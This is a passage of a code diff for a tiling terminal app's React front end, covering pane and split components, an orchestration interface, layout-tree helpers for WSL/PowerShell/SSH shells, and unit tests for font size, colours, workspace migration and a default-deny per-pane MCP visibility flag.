onFocus={onXtermFocus}
onNavigate={onPaneNavigate}
focusTrigger={focusTrigger}
fontSize={resolveFontSize(leaf.fontSizeOffset)}
colors={resolvePaneColors(orch.globalColors, leaf.colorOverride)}
/>
) : (
<div className="leaf-missing-host">
<p>SSH host not found</p>
<p className="hint">
Open the shell menu and pick another host, or add this host back
via Manage hosts.
</p>
</div>
)}
</div>
{menuPos && (
<div
className="pane-context-menu"
style={{
position: "fixed",
top: menuPos.y,
left: menuPos.x,
}}
role="menu"
onClick={(e) => e.stopPropagation()}
onContextMenu={(e) => e.preventDefault()}
>
<button
type="button"
className="pane-context-menu-item"
role="menuitem"
onClick={() => {
closeContextMenu();
orch.moveToNewWindow(leaf.id);
}}
>
Move to new window
</button>
</div>
)}
{dragGhost &&
createPortal(
<div
className={`pane-drag-ghost${dragGhost.detach ? " detach" : ""}`}
style={{
left: dragGhost.x,
top: dragGhost.y,
transform: `translate(${
dragGhost.flipX ? "calc(-100% - 12px)" : "12px"
}, ${dragGhost.flipY ? "calc(-100% - 12px)" : "12px"})`,
}}
aria-hidden="true"
>
<span className="pane-drag-ghost-label">{labelText}</span>
{dragGhost.detach && (
<span className="pane-drag-ghost-hint"> New window</span>
)}
</div>,
document.body,
)}
</div>
);
}

View file

@ -1,16 +0,0 @@
import type { TreeNode } from "./tree";
import SplitNode from "./SplitNode";
import LeafPane from "./LeafPane";
/**
* Recursive dispatcher: render a split or a leaf based on node.kind.
* The `key={node.id}` on the leaf branch makes React unmount + remount
* cleanly when a leaf is replaced (e.g. changeDistro swaps the id to
* force PTY respawn).
*/
export default function Pane({ node }: { node: TreeNode }) {
if (node.kind === "split") {
return <SplitNode node={node} />;
}
return <LeafPane key={node.id} leaf={node} />;
}

View file

@ -1,36 +0,0 @@
.split {
display: flex;
width: 100%;
height: 100%;
min-width: 0;
min-height: 0;
}
.split.horizontal {
flex-direction: row;
}
.split.vertical {
flex-direction: column;
}
.side {
display: flex;
min-width: 0;
min-height: 0;
overflow: hidden;
}
.gutter {
flex: 0 0 4px;
background: #1a1a1a;
cursor: col-resize;
user-select: none;
touch-action: none;
transition: background 0.12s;
}
.split.vertical > .gutter {
cursor: row-resize;
}
.gutter:hover,
.gutter.active {
background: #3a5a8c;
}

View file

@ -1,79 +0,0 @@
import { useRef, useState, useCallback, type PointerEvent } from "react";
import type { SplitNode as SplitNodeType } from "./tree";
import Pane from "./Pane";
import "./SplitNode.css";
/**
* A horizontal or vertical split with a draggable gutter. The ratio is
* local React state when the gutter is dragged, we update the local
* ratio (re-rendering the two .side flex values) and ALSO bubble the
* change up to the tree (so it persists across reloads).
*
* Initialising local state from node.ratio is fine: when the tree
* mutates around this split (e.g. a child is closed), React will give us
* a new `node` prop with possibly-different `node.ratio`, but the
* `useState` initializer only runs once. We re-sync via an effect.
*/
export default function SplitNode({ node }: { node: SplitNodeType }) {
const containerRef = useRef<HTMLDivElement | null>(null);
const [ratio, setRatio] = useState(node.ratio);
const [dragging, setDragging] = useState(false);
// Keep local ratio in sync if the tree updates from outside (e.g. preset
// applied). Only mirror — don't echo back into the tree.
// (Skipped for simplicity in v1; if it becomes annoying we can add it.)
const onPointerDown = useCallback((e: PointerEvent<HTMLDivElement>) => {
(e.target as HTMLElement).setPointerCapture(e.pointerId);
setDragging(true);
e.preventDefault();
}, []);
const onPointerMove = useCallback(
(e: PointerEvent<HTMLDivElement>) => {
if (!dragging || !containerRef.current) return;
const rect = containerRef.current.getBoundingClientRect();
const isH = node.orientation === "h";
const pos = isH ? e.clientX - rect.left : e.clientY - rect.top;
const size = isH ? rect.width : rect.height;
if (size <= 0) return;
const r = Math.max(0.05, Math.min(0.95, pos / size));
setRatio(r);
// Mutate the proxy-tree node directly so the persisted state matches.
node.ratio = r;
},
[dragging, node],
);
const onPointerUp = useCallback((e: PointerEvent<HTMLDivElement>) => {
setDragging(false);
(e.target as HTMLElement).releasePointerCapture(e.pointerId);
}, []);
const isH = node.orientation === "h";
return (
<div
ref={containerRef}
className={`split ${isH ? "horizontal" : "vertical"}`}
>
<div className="side" style={{ flex: ratio }}>
<Pane node={node.a} />
</div>
<div
className={`gutter${dragging ? " active" : ""}`}
role="separator"
aria-orientation={isH ? "vertical" : "horizontal"}
aria-valuenow={Math.round(ratio * 100)}
tabIndex={-1}
onPointerDown={onPointerDown}
onPointerMove={onPointerMove}
onPointerUp={onPointerUp}
onPointerCancel={onPointerUp}
/>
<div className="side" style={{ flex: 1 - ratio }}>
<Pane node={node.b} />
</div>
</div>
);
}

View file

@ -1,6 +1,7 @@
import { createContext, useContext, type ReactNode } from "react";
import type { Orientation, NodeId } from "./tree";
import type { PaneId } from "../../ipc";
import type { Orientation, NodeId, LeafShellSpec, Direction } from "./tree";
import type { PaneId, SshHost } from "../../ipc";
import type { PaneColors } from "../theme";
/**
* Orchestration context every piece of shared state and every operation
@ -15,22 +16,87 @@ import type { PaneId } from "../../ipc";
export interface Orchestration {
// Read-only state
activeLeafId: NodeId | null;
/** WSL distros enumerated from `wsl.exe -l -q`. PowerShell is a separate
* shell kind, not in this list. */
distros: string[];
/** Saved SSH hosts loaded from `hosts.json`. Reactive changes when the
* user edits hosts via {@link openHostManager}. */
hosts: SshHost[];
/** App-wide default terminal colours. Reactive edited via the colour
* panel. Each leaf resolves its effective theme from this plus its own
* {@link LeafNode.colorOverride}. */
globalColors: PaneColors;
// Tree mutations
split: (leafId: NodeId, orientation: Orientation) => void;
close: (leafId: NodeId) => void;
setDistro: (leafId: NodeId, distro: string) => void;
/** Change the shell on a leaf (WSL distro / PowerShell / SSH host).
* Always forces a respawn the helper in tree.ts swaps the leaf id so
* the renderer remounts XtermPane. */
setShell: (leafId: NodeId, spec: LeafShellSpec) => void;
setLabel: (leafId: NodeId, label: string | undefined) => void;
toggleBroadcast: (leafId: NodeId) => void;
/** Flip the per-pane mcpAllow flag. Default-deny; chip in the pane
* toolbar drives this. */
toggleMcpAllow: (leafId: NodeId) => void;
/** Set or clear a leaf's per-pane colour override (undefined fall back
* to the global theme). */
setLeafColors: (leafId: NodeId, colors: PaneColors | undefined) => void;
// SSH host management
openHostManager: () => void;
/** Open the colour panel. When `leafId` is given the panel starts in
* per-pane mode targeting that leaf; otherwise it edits the global theme. */
openColorPanel: (leafId?: NodeId) => void;
// Per-pane orchestration
setActive: (leafId: NodeId) => void;
registerPaneId: (leafId: NodeId, paneId: PaneId | null) => void;
broadcastFrom: (originLeafId: NodeId, dataB64: string) => void;
notify: (message: string) => void;
// Drag-header-to-swap. dragSourceId / dragOverId are reactive so leaves
// can apply hover/source styling. The lifecycle methods are stable.
dragSourceId: NodeId | null;
dragOverId: NodeId | null;
beginHeaderDrag: (leafId: NodeId) => void;
setHeaderDragOver: (leafId: NodeId | null) => void;
endHeaderDrag: (commitSwap: boolean) => void;
// Per-leaf idle reporting. LeafPanes call reportLeafIdle when their
// own quiet-state crosses the threshold; App aggregates so the titlebar
// can show an "N idle" count without spamming toast notifications.
reportLeafIdle: (leafId: NodeId, idle: boolean) => void;
// Multi-window pane transfer ---------------------------------------------
/** Pop a pane out of the current workspace into a fresh top-level window.
* The PTY stays alive across the move (the new window's XtermPane
* adopts the existing PaneId; scrollback ring is replayed). */
moveToNewWindow: (leafId: NodeId) => void;
/**
* Navigate focus from within a pane's key-handler. XtermPane emits the
* intent; LeafPane/App resolve the target leaf and set it active.
*
* `{ kind: "direction", dir }` move to the spatial neighbour in that
* direction using the same flattenLayout geometry as Ctrl+Shift+Arrow.
* `{ kind: "index", n }` focus the Nth leaf in DFS (walkLeaves) order,
* 1-indexed, clamped to the leaf count (so Alt+9 with 3 panes picks pane 3).
*/
navigateTo: (intent: NavigateIntent) => void;
/** Returns a PaneId only for leaves that just arrived via a window
* transfer (so LeafPane can pass `existingPaneId` to XtermPane to skip
* the spawn). One-shot App clears the entry once the pane has
* registered. */
getInitialPaneIdFor: (leafId: NodeId) => PaneId | undefined;
}
/** Discriminated intent emitted by XtermPane's key handler. App resolves
* the actual target leaf from the current tree without XtermPane needing
* to know anything about layout geometry or leaf ordering. */
export type NavigateIntent =
| { kind: "direction"; dir: Direction }
| { kind: "index"; n: number };
const OrchestrationContext = createContext<Orchestration | null>(null);
export function OrchestrationProvider({

View file

@ -9,15 +9,29 @@ import {
leafCount,
walkLeaves,
changeDistro,
setLeafShell,
changeLabel,
toggleBroadcast,
toggleMcpAllow,
setLeafColors,
adjustFontSize,
adjustAllFontSizes,
resolveFontSize,
DEFAULT_FONT_SIZE,
MIN_FONT_SIZE,
MAX_FONT_SIZE,
serialize,
deserialize,
serializeWorkspaces,
deserializeWorkspaces,
singletonEnvelope,
WORKSPACES_VERSION,
presetSingle,
presetTwoColumns,
presetThreeColumns,
presetTwoRows,
presetTwoByTwo,
promoteLeaf,
type TreeNode,
type LeafNode,
type SplitNode,
@ -32,14 +46,16 @@ function leafDistros(root: TreeNode): (string | undefined)[] {
}
describe("newLeaf", () => {
it("returns a leaf with a unique id and no extra metadata", () => {
it("returns a leaf with a unique id, default shellKind=wsl, no other metadata", () => {
const a = newLeaf();
const b = newLeaf();
expect(a.kind).toBe("leaf");
expect(typeof a.id).toBe("string");
expect(a.id).not.toEqual(b.id);
expect(a.shellKind).toBe("wsl");
expect(a.distro).toBeUndefined();
expect(a.cwd).toBeUndefined();
expect(a.sshHostId).toBeUndefined();
expect(a.label).toBeUndefined();
expect(a.broadcast).toBeUndefined();
});
@ -50,6 +66,14 @@ describe("newLeaf", () => {
expect(leaf.cwd).toBe("/home");
expect(leaf.label).toBe("ml");
});
it("respects an explicit non-wsl shellKind", () => {
const ps = newLeaf({ shellKind: "powershell" });
expect(ps.shellKind).toBe("powershell");
const ssh = newLeaf({ shellKind: "ssh", sshHostId: "host-1" });
expect(ssh.shellKind).toBe("ssh");
expect(ssh.sshHostId).toBe("host-1");
});
});
describe("newSplit", () => {
@ -226,10 +250,11 @@ describe("walkLeaves", () => {
});
describe("changeDistro", () => {
it("sets the distro on the leaf", () => {
const leaf = newLeaf({ distro: "Ubuntu" });
const next = changeDistro(leaf, leaf.id, "Debian");
expect((next as LeafNode).distro).toBe("Debian");
it("sets the distro on the leaf and forces shellKind back to wsl", () => {
const leaf = newLeaf({ shellKind: "powershell" });
const next = changeDistro(leaf, leaf.id, "Debian") as LeafNode;
expect(next.distro).toBe("Debian");
expect(next.shellKind).toBe("wsl");
});
it("MUST swap the leaf id (so {#key} remounts XtermPane and kills the PTY)", () => {
@ -248,6 +273,54 @@ describe("changeDistro", () => {
});
});
describe("setLeafShell", () => {
it("switches a wsl leaf to powershell (and clears wsl-specific fields)", () => {
const leaf = newLeaf({ distro: "Ubuntu", cwd: "/work", label: "keep" });
const next = setLeafShell(leaf, leaf.id, { shellKind: "powershell" }) as LeafNode;
expect(next.shellKind).toBe("powershell");
expect(next.distro).toBeUndefined();
expect(next.cwd).toBeUndefined();
expect(next.label).toBe("keep");
});
it("switches a leaf to ssh and records sshHostId", () => {
const leaf = newLeaf({ distro: "Ubuntu" });
const next = setLeafShell(leaf, leaf.id, {
shellKind: "ssh",
sshHostId: "host-abc",
}) as LeafNode;
expect(next.shellKind).toBe("ssh");
expect(next.sshHostId).toBe("host-abc");
expect(next.distro).toBeUndefined();
});
it("MUST swap the leaf id (forces PTY respawn)", () => {
const leaf = newLeaf({ shellKind: "powershell" });
const next = setLeafShell(leaf, leaf.id, {
shellKind: "ssh",
sshHostId: "h1",
}) as LeafNode;
expect(next.id).not.toBe(leaf.id);
});
it("preserves label / broadcast / fontSizeOffset / colorOverride across the shell change", () => {
const leaf = newLeaf({
distro: "Ubuntu",
label: "my pane",
broadcast: true,
fontSizeOffset: 2,
colorOverride: { background: "#101010" },
});
const next = setLeafShell(leaf, leaf.id, {
shellKind: "powershell",
}) as LeafNode;
expect(next.label).toBe("my pane");
expect(next.broadcast).toBe(true);
expect(next.fontSizeOffset).toBe(2);
expect(next.colorOverride).toEqual({ background: "#101010" });
});
});
describe("changeLabel", () => {
it("sets a label", () => {
const leaf = newLeaf();
@ -298,6 +371,174 @@ describe("toggleBroadcast", () => {
});
});
describe("toggleMcpAllow", () => {
it("default-undefined toggles to true", () => {
const leaf = newLeaf();
expect(leaf.mcpAllow).toBeUndefined();
const on = toggleMcpAllow(leaf, leaf.id) as LeafNode;
expect(on.mcpAllow).toBe(true);
});
it("true toggles to false", () => {
const leaf = newLeaf({ mcpAllow: true });
const off = toggleMcpAllow(leaf, leaf.id) as LeafNode;
expect(off.mcpAllow).toBe(false);
});
it("MUST NOT swap the leaf id (metadata-only, no PTY respawn)", () => {
const leaf = newLeaf();
const next = toggleMcpAllow(leaf, leaf.id) as LeafNode;
expect(next.id).toBe(leaf.id);
});
});
describe("setLeafColors", () => {
it("sets an override on a leaf with none", () => {
const leaf = newLeaf();
expect(leaf.colorOverride).toBeUndefined();
const next = setLeafColors(leaf, leaf.id, {
background: "#001122",
foreground: "#ddeeff",
}) as LeafNode;
expect(next.colorOverride).toEqual({
background: "#001122",
foreground: "#ddeeff",
});
});
it("replaces an existing override wholesale", () => {
const leaf = newLeaf({ colorOverride: { background: "#000000" } });
const next = setLeafColors(leaf, leaf.id, { cursor: "#ff0000" }) as LeafNode;
expect(next.colorOverride).toEqual({ cursor: "#ff0000" });
});
it("clears the override when passed undefined", () => {
const leaf = newLeaf({ colorOverride: { background: "#000000" } });
const next = setLeafColors(leaf, leaf.id, undefined) as LeafNode;
expect(next.colorOverride).toBeUndefined();
expect("colorOverride" in next).toBe(false);
});
it("clears the override when passed an all-undefined object", () => {
const leaf = newLeaf({ colorOverride: { background: "#000000" } });
const next = setLeafColors(leaf, leaf.id, {
background: undefined,
foreground: undefined,
cursor: undefined,
selection: undefined,
}) as LeafNode;
expect(next.colorOverride).toBeUndefined();
expect("colorOverride" in next).toBe(false);
});
it("returns the same reference when clearing an already-unset override", () => {
const leaf = newLeaf();
const next = setLeafColors(leaf, leaf.id, undefined);
expect(next).toBe(leaf);
});
it("MUST NOT swap the leaf id (metadata-only, no PTY respawn)", () => {
const leaf = newLeaf();
const next = setLeafColors(leaf, leaf.id, { background: "#123456" }) as LeafNode;
expect(next.id).toBe(leaf.id);
});
});
describe("resolveFontSize", () => {
it("returns the default when offset is undefined or 0", () => {
expect(resolveFontSize(undefined)).toBe(DEFAULT_FONT_SIZE);
expect(resolveFontSize(0)).toBe(DEFAULT_FONT_SIZE);
});
it("clamps to [MIN_FONT_SIZE, MAX_FONT_SIZE]", () => {
expect(resolveFontSize(-9999)).toBe(MIN_FONT_SIZE);
expect(resolveFontSize(9999)).toBe(MAX_FONT_SIZE);
});
});
describe("adjustFontSize", () => {
it("bumps a leaf's offset by delta", () => {
const leaf = newLeaf();
const next = adjustFontSize(leaf, leaf.id, 2) as LeafNode;
expect(next.fontSizeOffset).toBe(2);
});
it("MUST NOT swap the leaf id (metadata-only — pane should not respawn)", () => {
const leaf = newLeaf();
const next = adjustFontSize(leaf, leaf.id, 1) as LeafNode;
expect(next.id).toBe(leaf.id);
});
it("clamps the offset so the resolved font size stays within bounds", () => {
const leaf = newLeaf();
const bigUp = adjustFontSize(leaf, leaf.id, 999) as LeafNode;
expect(resolveFontSize(bigUp.fontSizeOffset)).toBe(MAX_FONT_SIZE);
const bigDown = adjustFontSize(leaf, leaf.id, -999) as LeafNode;
expect(resolveFontSize(bigDown.fontSizeOffset)).toBe(MIN_FONT_SIZE);
});
it("strips the offset field entirely when the result is 0", () => {
const leaf = newLeaf({ fontSizeOffset: 1 });
const next = adjustFontSize(leaf, leaf.id, -1) as LeafNode;
expect(next.fontSizeOffset).toBeUndefined();
expect("fontSizeOffset" in next).toBe(false);
});
it("delta=null resets to default", () => {
const leaf = newLeaf({ fontSizeOffset: 5 });
const next = adjustFontSize(leaf, leaf.id, null) as LeafNode;
expect(next.fontSizeOffset).toBeUndefined();
});
it("only touches the targeted leaf", () => {
const target = newLeaf({ label: "a" });
const sibling = newLeaf({ label: "b", fontSizeOffset: 3 });
const root = newSplit("h", target, sibling);
const next = adjustFontSize(root, target.id, 2) as SplitNode;
expect((next.a as LeafNode).fontSizeOffset).toBe(2);
expect((next.b as LeafNode).fontSizeOffset).toBe(3);
});
});
describe("adjustAllFontSizes", () => {
it("shifts every leaf by the same delta and preserves independence", () => {
const a = newLeaf({ fontSizeOffset: 0 });
const b = newLeaf({ fontSizeOffset: 2 });
const c = newLeaf({ fontSizeOffset: -1 });
const root = newSplit("h", a, newSplit("v", b, c));
const next = adjustAllFontSizes(root, 1);
const offsets = Array.from(walkLeaves(next)).map((l) => l.fontSizeOffset ?? 0);
expect(offsets).toEqual([1, 3, 0]);
});
it("delta=null resets every leaf to default", () => {
const a = newLeaf({ fontSizeOffset: 4 });
const b = newLeaf({ fontSizeOffset: -3 });
const root = newSplit("h", a, b);
const next = adjustAllFontSizes(root, null);
for (const leaf of walkLeaves(next)) {
expect(leaf.fontSizeOffset).toBeUndefined();
}
});
it("MUST NOT swap any leaf id", () => {
const a = newLeaf({ fontSizeOffset: 1 });
const b = newLeaf();
const root = newSplit("h", a, b);
const idsBefore = leafIds(root);
const next = adjustAllFontSizes(root, 1);
expect(leafIds(next)).toEqual(idsBefore);
});
it("returns the same root reference when nothing changes (e.g. all at min, delta < 0)", () => {
const minOffset = MIN_FONT_SIZE - DEFAULT_FONT_SIZE;
const a = newLeaf({ fontSizeOffset: minOffset });
const b = newLeaf({ fontSizeOffset: minOffset });
const root = newSplit("h", a, b);
expect(adjustAllFontSizes(root, -1)).toBe(root);
});
});
describe("presets", () => {
it("presetSingle returns a single leaf with the provided distro", () => {
const t = presetSingle({ distro: "Ubuntu" });
@ -343,6 +584,86 @@ describe("presets", () => {
});
});
describe("promoteLeaf", () => {
it("HSplit(a, VSplit(b, c)) + promote c → VSplit(HSplit(a, b), c)", () => {
const a = newLeaf({ label: "a" });
const b = newLeaf({ label: "b" });
const c = newLeaf({ label: "c" });
const tree = newSplit("h", a, newSplit("v", b, c, 0.5), 0.5);
const next = promoteLeaf(tree, c.id) as SplitNode;
expect(next.orientation).toBe("v");
const top = next.a as SplitNode;
expect(top.orientation).toBe("h");
expect((top.a as LeafNode).label).toBe("a");
expect((top.b as LeafNode).label).toBe("b");
expect((next.b as LeafNode).label).toBe("c");
});
it("HSplit(a, VSplit(b, c)) + promote b → VSplit(b, HSplit(a, c))", () => {
const a = newLeaf({ label: "a" });
const b = newLeaf({ label: "b" });
const c = newLeaf({ label: "c" });
const tree = newSplit("h", a, newSplit("v", b, c, 0.5), 0.5);
const next = promoteLeaf(tree, b.id) as SplitNode;
expect(next.orientation).toBe("v");
expect((next.a as LeafNode).label).toBe("b");
const bot = next.b as SplitNode;
expect(bot.orientation).toBe("h");
expect((bot.a as LeafNode).label).toBe("a");
expect((bot.b as LeafNode).label).toBe("c");
});
it("is self-inverse — promote c then promote a returns the original shape", () => {
const a = newLeaf({ label: "a" });
const b = newLeaf({ label: "b" });
const c = newLeaf({ label: "c" });
const tree = newSplit("h", a, newSplit("v", b, c, 0.5), 0.5);
const promoted = promoteLeaf(tree, c.id)!;
const restored = promoteLeaf(promoted, a.id) as SplitNode;
expect(restored.orientation).toBe("h");
expect((restored.a as LeafNode).label).toBe("a");
const inner = restored.b as SplitNode;
expect(inner.orientation).toBe("v");
expect((inner.a as LeafNode).label).toBe("b");
expect((inner.b as LeafNode).label).toBe("c");
});
it("returns null when the leaf has no parent (single-leaf root)", () => {
const leaf = newLeaf();
expect(promoteLeaf(leaf, leaf.id)).toBeNull();
});
it("returns null when the leaf's parent is the root (no grandparent)", () => {
const a = newLeaf();
const b = newLeaf();
const root = newSplit("h", a, b);
expect(promoteLeaf(root, a.id)).toBeNull();
});
it("returns null when parent and grandparent share orientation", () => {
const a = newLeaf();
const b = newLeaf();
const c = newLeaf();
const inner = newSplit("h", b, c);
const root = newSplit("h", a, inner);
expect(promoteLeaf(root, b.id)).toBeNull();
});
it("preserves all leaf ids (no PTYs respawn on promote)", () => {
const a = newLeaf({ label: "a" });
const b = newLeaf({ label: "b" });
const c = newLeaf({ label: "c" });
const tree = newSplit("h", a, newSplit("v", b, c));
const before = Array.from(walkLeaves(tree))
.map((l) => l.id)
.sort();
const after = Array.from(walkLeaves(promoteLeaf(tree, c.id)!))
.map((l) => l.id)
.sort();
expect(after).toEqual(before);
});
});
describe("serialize / deserialize", () => {
it("roundtrips a complex tree", () => {
const leaf1 = newLeaf({ distro: "Ubuntu", label: "left", broadcast: true });
@ -365,10 +686,120 @@ describe("serialize / deserialize", () => {
).toBeNull(); // missing ratio + children
});
it("accepts a minimal leaf shape", () => {
it("accepts a minimal leaf shape (backfilling shellKind for legacy data)", () => {
expect(deserialize('{"kind": "leaf", "id": "x"}')).toEqual({
kind: "leaf",
id: "x",
shellKind: "wsl",
});
});
it("migrates legacy PowerShell-sentinel leaves to shellKind=powershell", () => {
const legacy = JSON.stringify({
kind: "split",
id: "s1",
orientation: "h",
ratio: 0.5,
a: { kind: "leaf", id: "a", distro: "PowerShell" },
b: { kind: "leaf", id: "b", distro: "Ubuntu" },
});
const back = deserialize(legacy) as SplitNode;
const left = back.a as LeafNode;
const right = back.b as LeafNode;
expect(left.shellKind).toBe("powershell");
expect(left.distro).toBeUndefined();
expect(right.shellKind).toBe("wsl");
expect(right.distro).toBe("Ubuntu");
});
it("leaves shellKind alone on already-migrated leaves", () => {
const fresh = JSON.stringify({
kind: "leaf",
id: "x",
shellKind: "ssh",
sshHostId: "h-1",
});
const back = deserialize(fresh) as LeafNode;
expect(back.shellKind).toBe("ssh");
expect(back.sshHostId).toBe("h-1");
});
});
describe("workspaces envelope", () => {
it("roundtrips a multi-workspace envelope", () => {
const env = {
version: WORKSPACES_VERSION,
workspaces: [
{ id: "w1", name: "alpha", tree: newLeaf({ distro: "Ubuntu" }) },
{
id: "w2",
name: "beta",
tree: newSplit("h", newLeaf({ label: "left" }), newLeaf()),
},
],
};
const back = deserializeWorkspaces(serializeWorkspaces(env));
expect(back).toEqual(env);
});
it("returns null on invalid JSON", () => {
expect(deserializeWorkspaces("not json")).toBeNull();
});
it("returns null when version is wrong or workspaces is missing", () => {
expect(deserializeWorkspaces('{"version": 99, "workspaces": []}')).toBeNull();
expect(deserializeWorkspaces('{"version": 2}')).toBeNull();
});
it("returns null when an envelope has zero valid workspaces", () => {
expect(
deserializeWorkspaces('{"version": 2, "workspaces": [{"id": 1}]}'),
).toBeNull();
});
it("migrates a legacy v1 bare-tree JSON into a single 'Default' workspace", () => {
const legacy = JSON.stringify({
kind: "split",
id: "s1",
orientation: "h",
ratio: 0.5,
a: { kind: "leaf", id: "a", distro: "Ubuntu" },
b: { kind: "leaf", id: "b", distro: "PowerShell" },
});
const env = deserializeWorkspaces(legacy);
expect(env).not.toBeNull();
expect(env!.version).toBe(WORKSPACES_VERSION);
expect(env!.workspaces.length).toBe(1);
expect(env!.workspaces[0].name).toBe("Default");
// Per-leaf legacy migration also applied — PowerShell sentinel mapped.
const tree = env!.workspaces[0].tree as SplitNode;
expect((tree.a as LeafNode).shellKind).toBe("wsl");
expect((tree.b as LeafNode).shellKind).toBe("powershell");
expect((tree.b as LeafNode).distro).toBeUndefined();
});
it("singletonEnvelope wraps a tree with a fresh workspace id", () => {
const t = newLeaf({ label: "only" });
const env = singletonEnvelope(t, "Main");
expect(env.workspaces.length).toBe(1);
expect(env.workspaces[0].name).toBe("Main");
expect(env.workspaces[0].tree).toBe(t);
expect(typeof env.workspaces[0].id).toBe("string");
expect(env.workspaces[0].id).not.toBe(t.id);
});
it("skips malformed workspaces but keeps the valid ones", () => {
const env = {
version: WORKSPACES_VERSION,
workspaces: [
{ id: "ok", name: "alpha", tree: { kind: "leaf", id: "L" } },
{ id: 42, name: "bad-id", tree: { kind: "leaf", id: "L2" } },
{ id: "no-tree", name: "still-bad" },
],
};
const back = deserializeWorkspaces(JSON.stringify(env));
expect(back).not.toBeNull();
expect(back!.workspaces.length).toBe(1);
expect(back!.workspaces[0].id).toBe("ok");
});
});

View file

@ -5,18 +5,32 @@
//! tmux / i3 / Zellij use — dragging a gutter mutates one parent ratio,
//! both sibling subtrees reflow automatically.
import type { PaneColors } from "../theme";
export type NodeId = string;
/** 'h' = side-by-side (a on left, b on right). 'v' = stacked (a on top, b below). */
export type Orientation = "h" | "v";
/** What kind of shell a leaf is running. Determines which fields on
* LeafNode are meaningful at spawn time and which spawn-spec the backend
* receives. Migration on deserialize backfills this for pre-shellKind
* workspaces (PowerShell was previously a sentinel `distro` string). */
export type ShellKind = "wsl" | "powershell" | "ssh";
export interface LeafNode {
kind: "leaf";
id: NodeId;
/** WSL distro the pane was spawned against. */
/** Discriminator: which shell-type this pane runs. */
shellKind: ShellKind;
/** WSL distro the pane was spawned against. Only meaningful when
* shellKind === "wsl". */
distro?: string;
/** Working directory the pane was started in. Not currently used at spawn time but preserved for future. */
/** Working directory the pane was started in. Only meaningful when
* shellKind === "wsl". */
cwd?: string;
/** Saved-host id (see SshHost). Only meaningful when shellKind === "ssh". */
sshHostId?: string;
/** Optional user label shown in the pane toolbar. */
label?: string;
/**
@ -25,8 +39,35 @@ export interface LeafNode {
* pane toolbar.
*/
broadcast?: boolean;
/**
* Per-pane font-size delta from the default ({@link DEFAULT_FONT_SIZE}).
* Bumped by Ctrl+Shift+= / Ctrl+Shift+- / reset by Ctrl+Shift+0.
* Stored as an offset (not absolute) so changing the base default
* later doesn't require migrating saved workspaces.
*/
fontSizeOffset?: number;
/**
* Per-pane colour override. Any field set here wins over the app-wide
* global theme (see {@link resolvePaneColors}); unset fields fall through.
* Undefined / empty means "use the global theme". Metadata-only changing
* it never respawns the PTY.
*/
colorOverride?: PaneColors;
/**
* If true, this pane is visible to the MCP server (Claude can list it,
* read its scrollback, etc.). Default-DENY: when undefined or false, the
* MCP surface filters this pane out entirely. Toggled via the per-pane
* MCP chip in the toolbar.
*/
mcpAllow?: boolean;
}
/** Base xterm.js font size in px. Per-leaf offset adds on top of this. */
export const DEFAULT_FONT_SIZE = 13;
/** Hard clamps on `DEFAULT_FONT_SIZE + offset`. */
export const MIN_FONT_SIZE = 6;
export const MAX_FONT_SIZE = 40;
export interface SplitNode {
kind: "split";
id: NodeId;
@ -39,7 +80,7 @@ export interface SplitNode {
export type TreeNode = LeafNode | SplitNode;
function newId(): NodeId {
export function newId(): NodeId {
return (
globalThis.crypto?.randomUUID?.() ??
Math.random().toString(36).slice(2, 12)
@ -47,7 +88,48 @@ function newId(): NodeId {
}
export function newLeaf(props: Partial<Omit<LeafNode, "kind" | "id">> = {}): LeafNode {
return { kind: "leaf", id: newId(), ...props };
return { kind: "leaf", id: newId(), shellKind: "wsl", ...props };
}
/** Spec for switching a leaf's shell. Discriminated by shellKind. Used by
* {@link setLeafShell}; the helper always swaps the leaf id so the renderer
* remounts XtermPane (kills the old PTY spawns a fresh one with the new
* spec). */
export type LeafShellSpec =
| { shellKind: "wsl"; distro?: string; cwd?: string }
| { shellKind: "powershell" }
| { shellKind: "ssh"; sshHostId: string };
/**
* Replace the leaf's shell-kind and shell-specific fields, then swap its id
* so the renderer's `key={leaf.id}` block remounts XtermPane (kills the old
* PTY spawns a fresh one). Metadata like label / broadcast / font-size
* survives.
*/
export function setLeafShell(
root: TreeNode,
leafId: NodeId,
spec: LeafShellSpec,
): TreeNode {
return replaceById(root, leafId, (node) => {
if (node.kind !== "leaf") return node;
const base: LeafNode = {
kind: "leaf",
id: newId(),
shellKind: spec.shellKind,
label: node.label,
broadcast: node.broadcast,
fontSizeOffset: node.fontSizeOffset,
colorOverride: node.colorOverride,
};
if (spec.shellKind === "wsl") {
if (spec.distro !== undefined) base.distro = spec.distro;
if (spec.cwd !== undefined) base.cwd = spec.cwd;
} else if (spec.shellKind === "ssh") {
base.sshHostId = spec.sshHostId;
}
return base;
});
}
export function newSplit(
@ -86,6 +168,22 @@ export function splitLeaf(
});
}
/** Like {@link splitLeaf} but inserts a caller-constructed LeafNode (with a
* predetermined id) rather than minting a fresh one. Used by the MCP
* spawn_pane handler which needs the id up-front so it can wait for the
* matching registerPaneId call before replying to the backend. */
export function splitLeafWith(
root: TreeNode,
leafId: NodeId,
orientation: Orientation,
leaf: LeafNode,
): TreeNode {
return replaceById(root, leafId, (node) => {
if (node.kind !== "leaf") return node;
return newSplit(orientation, node, leaf);
});
}
/**
* Remove the leaf with the given id. The other child of its parent split
* takes the parent's place in the tree. Returns null if the closed leaf
@ -115,19 +213,18 @@ export function findLeaf(root: TreeNode, leafId: NodeId): LeafNode | null {
}
/**
* Swap the distro on a leaf. The leaf gets a **new id** so the rendering
* layer's `{#key node.id}` block remounts XtermPane the old PTY is killed
* and a fresh one spawns with the new distro.
* Swap the WSL distro on a leaf. The leaf gets a **new id** so the rendering
* layer remounts XtermPane the old PTY is killed and a fresh one spawns
* against the new distro. Also forces shellKind back to "wsl" if the leaf
* had been a non-WSL kind (which is what the existing per-pane dropdown
* does when the user picks a WSL distro entry).
*/
export function changeDistro(
root: TreeNode,
leafId: NodeId,
distro: string,
): TreeNode {
return replaceById(root, leafId, (node) => {
if (node.kind !== "leaf") return node;
return { ...node, id: newId(), distro };
});
return setLeafShell(root, leafId, { shellKind: "wsl", distro });
}
/** Set or clear a leaf's label. Does NOT remount (label is metadata only). */
@ -198,6 +295,141 @@ export function toggleBroadcast(root: TreeNode, leafId: NodeId): TreeNode {
});
}
/** Toggle a leaf's mcpAllow flag. Metadata-only does NOT swap the id.
* Drives whether the MCP server includes this pane in its surface. */
export function toggleMcpAllow(root: TreeNode, leafId: NodeId): TreeNode {
return replaceById(root, leafId, (node) => {
if (node.kind !== "leaf") return node;
return { ...node, mcpAllow: !node.mcpAllow };
});
}
/** Set (or clear) a leaf's per-pane colour override. Pass `undefined` or an
